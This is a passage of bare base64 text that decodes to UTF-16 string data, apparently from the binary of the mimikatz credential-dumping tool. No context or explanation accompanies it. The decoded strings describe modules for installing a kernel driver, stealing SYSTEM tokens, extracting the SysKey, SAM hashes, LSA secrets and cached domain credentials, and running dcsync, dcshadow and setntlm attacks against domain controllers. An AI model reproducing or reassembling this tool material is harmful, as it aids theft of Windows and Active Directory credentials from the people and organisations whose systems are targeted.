ABwAGwAaQBjAGEAdABpAG8AbgAgAFAAYQB0AGgAOgAgACUAcwAKAAAAdgBpAHIAdAB1AGEAbABEAGkAcgBlAGMAdABvAHIAeQAAAAAAIAAgACAAIAAtACAAVgBpAHIAdAB1AGEAbABEAGkAcgBlAGMAdABvAHIAeQAgAFAAYQB0AGgAOgAgACUAcwAgACgAIAAAAAAAcABoAHkAcwBpAGMAYQBsAFAAYQB0AGgAAAAAACAAKQAKAAAAIAAgACAAIAAgACAAVQBzAGUAcgBuAGEAbQBlADoAIAAlAHMACgAAACAAIAAgACAAIAAgAFAAYQBzAHMAdwBvAHIAZAA6ACAAJQBzAAoAAABbAGUAbgBjADoAAAA6AGUAbgBjAF0AAAAAAAAAIAAgAHwAIABQAHIAbwB2AGkAZABlAHIAIAAgADoAIAAlAHMACgAgACAAfAAgAEQAYQB0AGEAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAAAvAC8AYwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAvAGMAbwBuAGYAaQBnAFAAcgBvAHQAZQBjAHQAZQBkAEQAYQB0AGEALwBwAHIAbwB2AGkAZABlAHIAcwAvAGEAZABkAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0AC4AQQBwAHAAbABpAGMAYQB0AGkAbwBuAEgAbwBzAHQALgBBAGUAcwBQAHIAbwB0AGUAYwB0AGUAZABDAG8AbgBmAGkAZwB1AHIAYQB0AGkAbwBuAFAAcgBvAHYAaQBkAGUAcgAAAGsAZQB5AEMAbwBuAHQAYQBpAG4AZQByAE4AYQBtAGUAAAAAACAAIAB8ACAASwBlAHkATgBhAG0AZQAgACAAIAA6ACAAJQBzAAoAAABzAGUAcwBzAGkAbwBuAEsAZQB5AAAAAAB1AHMAZQBNAGEAYwBoAGkAbgBlAEMAbwBuAHQAYQBpAG4AZQByAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AaQBpAHMAXwBhAHAAcABoAG8AcwB0AF8AcAByAG8AdgBpAGQAZQByACAAOwAgAHQAeQBwAGUAIABpAHMAIABuAG8AdAAgAHMAdQBwAHAAbwByAHQAZQBkACAAKAAlAHMAKQAKAAAAbABpAHYAZQAAAAAAIAAgAHwAIABMAGkAdgBlACAASwBlAHkAIAAgADoAIAAlAHMAIAAtACAAJQBzACAAOgAgAAAAAAAgACAAfAAgAFAAVgBLACAAZgBpAGwAZQAgACAAOgAgACUAcwAgAC0AIAAnACUAcwAnACAAOgAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGkAaQBzAF8AYQBwAHAAaABvAHMAdABfAHAAcgBvAHYAaQBkAGUAcgBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5ACAAKABSAFMAQQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACAAIAB8ACAAUABhAHMAcwB3AG8AcgBkACAAIAA6ACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGkAaQBzAF8AYQBwAHAAaABvAHMAdABfAHAAcgBvAHYAaQBkAGUAcgBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBpAGkAcwBfAGEAcABwAGgAbwBzAHQAXwBwAHIAbwB2AGkAZABlAHIAXwBkAGUAYwByAHkAcAB0ACAAOwAgAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAgACgAcwBlAHMAcwBpAG8AbgApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AaQBpAHMAXwBhAHAAcABoAG8AcwB0AF8AcAByAG8AdgBpAGQAZQByAF8AZABlAGMAcgB5AHAAdAAgADsAIABDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAG8AbgB0AGUAeAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAArAAAASQBuAHMAdABhAGwAbAAgAGEAbgBkAC8AbwByACAAcwB0AGEAcgB0ACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAAoAG0AaQBtAGkAZAByAHYAKQAAAAAALQAAAAAAAABSAGUAbQBvAHYAZQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAAHAAaQBuAGcAAAAAAFAAaQBuAGcAIAB0AGgAZQAgAGQAcgBpAHYAZQByAAAAYgBzAG8AZAAAAAAAQgBTAE8ARAAgACEAAAAAAHAAcgBvAGMAZQBzAHMAAABMAGkAcwB0ACAAcAByAG8AYwBlAHMAcwAAAAAAcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0AAAAAABQAHIAbwB0AGUAYwB0ACAAcAByAG8AYwBlAHMAcwAAAHAAcgBvAGMAZQBzAHMAVABvAGsAZQBuAAAAAABEAHUAcABsAGkAYwBhAHQAZQAgAHAAcgBvAGMAZQBzAHMAIAB0AG8AawBlAG4AAABwAHIAbwBjAGUAcwBzAFAAcgBpAHYAaQBsAGUAZwBlAAAAAABTAGUAdAAgAGEAbABsACAAcAByAGkAdgBpAGwAZQBnAGUAIABvAG4AIABwAHIAbwBjAGUAcwBzAAAAAABtAG8AZAB1AGwAZQBzAAAATABpAHMAdAAgAG0AbwBkAHUAbABlAHMAAAAAAHMAcwBkAHQAAAAAAEwAaQBzAHQAIABTAFMARABUAAAAbgBvAHQAaQBmAFAAcgBvAGMAZQBzAHMAAAAAAEwAaQBzAHQAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAG4AbwB0AGkAZgBUAGgAcgBlAGEAZAAAAEwAaQBzAHQAIAB0AGgAcgBlAGEAZAAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAAAAAG4AbwB0AGkAZgBJAG0AYQBnAGUAAAAAAEwAaQBzAHQAIABpAG0AYQBnAGUAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAbgBvAHQAaQBmAFIAZQBnAAAAAABMAGkAcwB0ACAAcgBlAGcAaQBzAHQAcgB5ACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAAAAbgBvAHQAaQBmAE8AYgBqAGUAYwB0AAAATABpAHMAdAAgAG8AYgBqAGUAYwB0ACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAAAAZgBpAGwAdABlAHIAcwAAAEwAaQBzAHQAIABGAFMAIABmAGkAbAB0AGUAcgBzAAAAbQBpAG4AaQBmAGkAbAB0AGUAcgBzAAAATABpAHMAdAAgAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAAAAcwB5AHMAZQBuAHYAcwBlAHQAAAAAAAAAUwB5AHMAdABlAG0AIABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAIABWAGEAcgBpAGEAYgBsAGUAIABTAGUAdAAAAHMAeQBzAGUAbgB2AGQAZQBsAAAAAAAAAFMAeQBzAHQAZQBtACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAVgBhAHIAaQBhAGIAbABlACAARABlAGwAZQB0AGUAAAAAAG0AaQBtAGkAZAByAHYALgBzAHkAcwAAAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAABtAGkAbQBpAGQAcgB2AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AaQBzAEYAaQBsAGUARQB4AGkAcwB0ACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGcAZQB0AEEAYgBzAG8AbAB1AHQAZQBQAGEAdABoAE8AZgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcgBlAG0AbwB2AGUAAAAAAFAAcgBvAGMAZQBzAHMAIAA6ACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFAAcgBvAGMAZQBzAHMASQBkAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAHAAaQBkAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAQQByAGcAdQBtAGUAbgB0ACAALwBwAHIAbwBjAGUAcwBzADoAcAByAG8AZwByAGEAbQAuAGUAeABlACAAbwByACAALwBwAGkAZAA6AHAAcgBvAGMAZQBzAHMAaQBkACAAbgBlAGUAZABlAGQACgAAAAAAAAAAAFAASQBEACAAJQB1ACAALQA+ACAAJQAwADIAeAAvACUAMAAyAHgAIABbACUAMQB4AC0AJQAxAHgALQAlADEAeABdAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAATgBvACAAUABJAEQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAUAByAG8AdABlAGMAdABlAGQAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAgAGIAZQBmAG8AcgBlACAAVwBpAG4AZABvAHcAcwAgAFYAaQBzAHQAYQAKAAAAAABmAHIAbwBtAAAAAAB0AG8AAAAAAAAAAABUAG8AawBlAG4AIABmAHIAbwBtACAAcAByAG8AYwBlAHMAcwAgACUAdQAgAHQAbwAgAHAAcgBvAGMAZQBzAHMAIAAlAHUACgAAAAAAAAAAACAAKgAgAGYAcgBvAG0AIAAwACAAdwBpAGwAbAAgAHQAYQBrAGUAIABTAFkAUwBUAEUATQAgAHQAbwBrAGUAbgAKAAAAAAAAACAAKgAgAHQAbwAgADAAIAB3AGkAbABsACAAdABhAGsAZQAgAGEAbABsACAAJwBjAG0AZAAnACAAYQBuAGQAIAAnAG0AaQBtAGkAawBhAHQAegAnACAAcAByAG8AYwBlAHMAcwAKAAAASwBlAHIAbgBlAGwAXwBMAHMAYQBfAFAAcABsAF8AQwBvAG4AZgBpAGcAAAAAAAAAewA3ADcAZgBhADkAYQBiAGQALQAwADMANQA5AC0ANABkADMAMgAtAGIAZAA2ADAALQAyADgAZgA0AGUANwA4AGYANwA4ADQAYgB9AAAAAABhAHQAdAByAGkAYgB1AHQAZQBzAAAAAAAwADAAMAAwADAAMAAwADAAAAAAAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgBWAGUAbgBkAG8AcgAgAEcAVQBJAEQAOgAgAAAAAAAKAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA6ACAAJQAwADgAeAAgACgAAAAAAEwAZQBuAGcAdABoACAAIAAgACAAIAA6ACAAJQB1AAoARABhAHQAYQAgACAAIAAgACAAIAAgADoAIAAAAD4AIABPAEsAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHMAeQBzAGUAbgB2AF8AcwBlAHQAIAA7ACAAUgB0AGwARwBVAEkARABGAHIAbwBtAFMAdAByAGkAbgBnADoAIAAwAHgAJQAwADgAeAAKAAAAKQAKAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcwB5AHMAZQBuAHYAXwBkAGUAbAAgADsAIABSAHQAbABHAFUASQBEAEYAcgBvAG0AUwB0AHIAaQBuAGcAOgAgADAAeAAlADAAOAB4AAoAAABzAGEAbQAAAEcAZQB0ACAAdABoAGUAIABTAHkAcwBLAGUAeQAgAHQAbwAgAGQAZQBjAHIAeQBwAHQAIABTAEEATQAgAGUAbgB0AHIAaQBlAHMAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAAAAcwBlAGMAcgBlAHQAcwAAAEcAZQB0ACAAdABoAGUAIABTAHkAcwBLAGUAeQAgAHQAbwAgAGQAZQBjAHIAeQBwAHQAIABTAEUAQwBSAEUAVABTACAAZQBuAHQAcgBpAGUAcwAgACgAZgByAG8AbQAgAHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAcwApAAAAAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAATgBMACQASwBNACAAdABoAGUAbgAgAE0AUwBDAGEAYwBoAGUAKAB2ADIAKQAgACgAZgByAG8AbQAgAHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAcwApAAAAbABzAGEAAAAAAAAAQQBzAGsAIABMAFMAQQAgAFMAZQByAHYAZQByACAAdABvACAAcgBlAHQAcgBpAGUAdgBlACAAUwBBAE0ALwBBAEQAIABlAG4AdAByAGkAZQBzACAAKABuAG8AcgBtAGEAbAAsACAAcABhAHQAYwBoACAAbwBuACAAdABoAGUAIABmAGwAeQAgAG8AcgAgAGkAbgBqAGUAYwB0ACkAAAAAAHQAcgB1AHMAdAAAAAAAAABBAHMAawAgAEwAUwBBACAAUwBlAHIAdgBlAHIAIAB0AG8AIAByAGUAdAByAGkAZQB2AGUAIABUAHIAdQBzAHQAIABBAHUAdABoACAASQBuAGYAbwByAG0AYQB0AGkAbwBuACAAKABuAG8AcgBtAGEAbAAgAG8AcgAgAHAAYQB0AGMAaAAgAG8AbgAgAHQAaABlACAAZgBsAHkAKQAAAAAAYgBhAGMAawB1AHAAawBlAHkAcwAAAAAAcgBwAGQAYQB0AGEAAAAAAGQAYwBzAHkAbgBjAAAAAABBAHMAawAgAGEAIABEAEMAIAB0AG8AIABzAHkAbgBjAGgAcgBvAG4AaQB6AGUAIABhAG4AIABvAGIAagBlAGMAdAAAAGQAYwBzAGgAYQBkAG8AdwAAAAAAVABoAGUAeQAgAHQAbwBsAGQAIABtAGUAIABJACAAYwBvAHUAbABkACAAYgBlACAAYQBuAHkAdABoAGkAbgBnACAASQAgAHcAYQBuAHQAZQBkACwAIABzAG8AIABJACAAYgBlAGMAYQBtAGUAIABhACAAZABvAG0AYQBpAG4AIABjAG8AbgB0AHIAbwBsAGwAZQByAAAAAABzAGUAdABuAHQAbABtAAAAQQBzAGsAIABhACAAcwBlAHIAdgBlAHIAIAB0AG8AIABzAGUAdAAgAGEAIABuAGUAdwAgAHAAYQBzAHMAdwBvAHIAZAAvAG4AdABsAG0AIABmAG8AcgAgAG8AbgBlACAAdQBzAGUAcgAAAAAAYwBoAGEAbgBnAGUAbgB0AGwAbQAAAAAAbgBlAHQAcwB5AG4AYwAAAAAAAABBAHMAawAgAGEAIABEAEMAIAB0AG8AIABzAGUAbgBkACAAYwB1AHIAcgBlAG4AdAAgAGEAbgBkACAAcAByAGUAdgBpAG8AdQBzACAATgBUAEwATQAgAGgAYQBzAGgAIABvAGYAIABEAEMALwBTAFIAVgAvAFcASwBTAAAAcABhAGMAawBhAGcAZQBzAAAAAABsAHMAYQBkAHUAbQBwAAAATABzAGEARAB1AG0AcAAgAG0AbwBkAHUAbABlAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAEEATQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAFkAUwBUAEUATQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAUwBZAFMAVABFAE0AAAAAAFMAQQBNAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIAAoAFMAQQBNACkAIAAoADAAeAAlADAAOAB4ACkACgAAAD4AIABVAHMAZQByACAAYwBhAGMAaABlACAAcgBlAHAAbABhAGMAZQAgAG0AbwBkAGUAIAAhAAoAAAAAACAAIAAqACAAdQBzAGUAcgAgACAAIAAgACAAOgAgACUAcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAcgBlAHQAcwBPAHIAQwBhAGMAaABlACAAOwAgAG4AdABsAG0AIABoAGEAcwBoACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAgAC0AIAB3AGkAbABsACAAdQBzAGUAIABkAGUAZgBhAHUAbAB0ACAAcABhAHMAcwB3AG8AcgBkAC4ALgAuAAoAAAAAACAAIAAqACAAcABhAHMAcwB3AG8AcgBkACAAOgAgACUAcwAKAAAAAAAgACAAKgAgAG4AdABsAG0AIAAgACAAIAAgADoAIAAAAHMAdQBiAGoAZQBjAHQAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAcgBlAHQAcwBPAHIAQwBhAGMAaABlACAAOwAgAEMATgBHACAAbgBvAHQAIABzAHUAcABwAG8AcgB0AGUAZAAgAHkAZQB0AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAawBlAHkAUwBwAGUAYwAgAD0APQAgAEMARQBSAFQAXwBOAEMAUgBZAFAAVABfAEsARQBZAF8AUwBQAEUAQwAgAHcAaQB0AGgAbwB1AHQAIABDAE4ARwAgAEgAYQBuAGQAbABlACAAPwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAcgBlAHQAcwBPAHIAQwBhAGMAaABlACAAOwAgAEMAZQByAHQARgBpAG4AZABDAGUAcgB0AGkAZgBpAGMAYQB0AGUASQBuAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAQwBlAHIAdABPAHAAZQBuAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcwBlAGMAdQByAGkAdAB5AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBFAEMAVQBSAEkAVABZACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAFkAUwBUAEUATQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABTAEUAQwBVAFIASQBUAFkAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAKABTAEUAQwBVAFIASQBUAFkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAQwB1AHIAcgBlAG4AdAAAAEQAZQBmAGEAdQBsAHQAAABDAG8AbgB0AHIAbwBsAFMAZQB0ADAAMAAwAAAAUwBlAGwAZQBjAHQAAAAAACUAMAAzAHUAAAAAAEoARAAAAAAAUwBrAGUAdwAxAAAARwBCAEcAAABEAGEAdABhAAAAAAAlAHgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAeQBzAGsAZQB5ACAAOwAgAEwAUwBBACAASwBlAHkAIABDAGwAYQBzAHMAIAByAGUAYQBkACAAZQByAHIAbwByAAoAAAAAAEQAbwBtAGEAaQBuACAAOgAgAAAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAAAAAAEMAbwBuAHQAcgBvAGwAXABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQBcAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAAAAJQBzAAoAAABTAHkAcwBLAGUAeQAgADoAIAAAAEMAbwBuAHQAcgBvAGwAXABMAFMAQQAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAHkAcwBrAGUAeQAgAEsATwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABMAFMAQQAgAEsATwAKAAAAAABWAAAAUwBBAE0AXABEAG8AbQBhAGkAbgBzAFwAQQBjAGMAbwB1AG4AdAAAAEwAbwBjAGEAbAAgAFMASQBEACAAOgAgAAAAAABVAHMAZQByAHMAAABOAGEAbQBlAHMAAAAKAFIASQBEACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAVQBzAGUAcgAgADoAIAAlAC4AKgBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAGEAbQBLAGUAeQAgAEsATwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUwBBAE0AIABBAGMAYwBvAHUAbgB0AHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEgAYQBzAGgAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AFIAQwA0AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABIAGEAcwBoACAAOwAgAFUAbgBrAG4AbwB3ACAAUwBBAE0AXwBIAEEAUwBIACAAcgBlAHYAaQBzAGkAbwBuACAAKAAlAGgAdQApAAoAAAAAAE4AVABMAE0AAAAAAGwAbQAgACAAAAAAAEwATQAgACAAAAAAAAoAUwBBAE0ASwBlAHkAIAA6ACAAAAAAAEYAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAGEAbQBLAGUAeQAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAUgBDADQAIABLAE8AAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAGEAbQBLAGUAeQAgADsAIABVAG4AawBuAG8AdwAgAEMAbABhAHMAcwBpAGMAIABTAHQAcgB1AGMAdAAgAEsAZQB5ACAAcgBlAHYAaQBzAGkAbwBuACAAKAAlAHUAKQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAYQBtAEsAZQB5ACAAOwAgAFUAbgBrAG4AbwB3ACAAUwB0AHIAdQBjAHQAIABLAGUAeQAgAHIAZQB2AGkAcwBpAG8AbgAgACgAJQB1ACkAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAGEAbQBLAGUAeQAgADsAIABVAG4AawBuAG8AdwAgAEYAIAByAGUAdgBpAHMAaQBvAG4AIAAoACUAaAB1ACkAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAE8AcABlAG4AQQBuAGQAUQB1AGUAcgB5AFcAaQB0AGgAQQBsAGwAbwBjACAASwBPAAAAUABvAGwAXwBfAEQAbQBOAAAAAABQAG8AbABfAF8ARABtAFMAAAAAACUAcwAgAG4AYQBtAGUAIAA6ACAAAAAAACAAKAAgAAAAIAApAAAAAABQAG8AbABpAGMAeQAAAAAATABvAGMAYQBsAAAAQQBjAAAAAABQAHIAAAAAAFAAbwBsAEQAbgBEAEQATgAAAAAARABvAG0AYQBpAG4AIABGAFEARABOACAAOgAgACUAdwBaAAoAAAAAAFAAbwBsAFIAZQB2AGkAcwBpAG8AbgAAAAAAAAAKAFAAbwBsAGkAYwB5ACAAcwB1AGIAcwB5AHMAdABlAG0AIABpAHMAIAA6ACAAJQBoAHUALgAlAGgAdQAKAAAAUABvAGwARQBLAEwAaQBzAHQAAABQAG8AbABTAGUAYwByAGUAdABFAG4AYwByAHkAcAB0AGkAbwBuAEsAZQB5AAAAAABMAFMAQQAgAEsAZQB5ACgAcwApACAAOgAgACUAdQAsACAAZABlAGYAYQB1AGwAdAAgAAAAIAAgAFsAJQAwADIAdQBdACAAAAAgAAAATABTAEEAIABLAGUAeQAgADoAIAAAAAAAUwBlAGMAcgBlAHQAcwAAAHMAZQByAHYAaQBjAGUAcwAAAAAACgBTAGUAYwByAGUAdAAgACAAOgAgACUAcwAAAF8AUwBDAF8AAAAAAEMAdQByAHIAVgBhAGwAAAAKAGMAdQByAC8AAABPAGwAZABWAGEAbAAAAAAACgBvAGwAZAAvAAAAUwBlAGMAcgBlAHQAcwBcAE4ATAAkAEsATQBcAEMAdQByAHIAVgBhAGwAAABDAGEAYwBoAGUAAABOAEwAJABJAHQAZQByAGEAdABpAG8AbgBDAG8AdQBuAHQAAAAqACAATgBMACQASQB0AGUAcgBhAHQAaQBvAG4AQwBvAHUAbgB0ACAAaQBzACAAJQB1ACwAIAAlAHUAIAByAGUAYQBsACAAaQB0AGUAcgBhAHQAaQBvAG4AKABzACkACgAAAAAAKgAgAEQAQwBDADEAIABtAG8AZABlACAAIQAKAAAAAAAAAAAAKgAgAEkAdABlAHIAYQB0AGkAbwBuACAAaQBzACAAcwBlAHQAIAB0AG8AIABkAGUAZgBhAHUAbAB0ACAAKAAxADAAMgA0ADAAKQAKAAAAAABOAEwAJABDAG8AbgB0AHIAbwBsAAAAAAAKAFsAJQBzACAALQAgAAAAXQAKAFIASQBEACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAAA+ACAAVQBzAGUAcgAgAGMAYQBjAGgAZQAgAHIAZQBwAGwAYQBjAGUAIABtAG8AZABlACAAKAAyACkAIQAKAAAAIAAgAE0AcwBDAGEAYwBoAGUAVgAyACAAOgAgAAAAAAAgACAAQwBoAGUAYwBrAHMAdQBtACAAIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUwBlAHQAVgBhAGwAdQBlAEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAPgAgAFUAcwBlAHIAIABjAGEAYwBoAGUAIA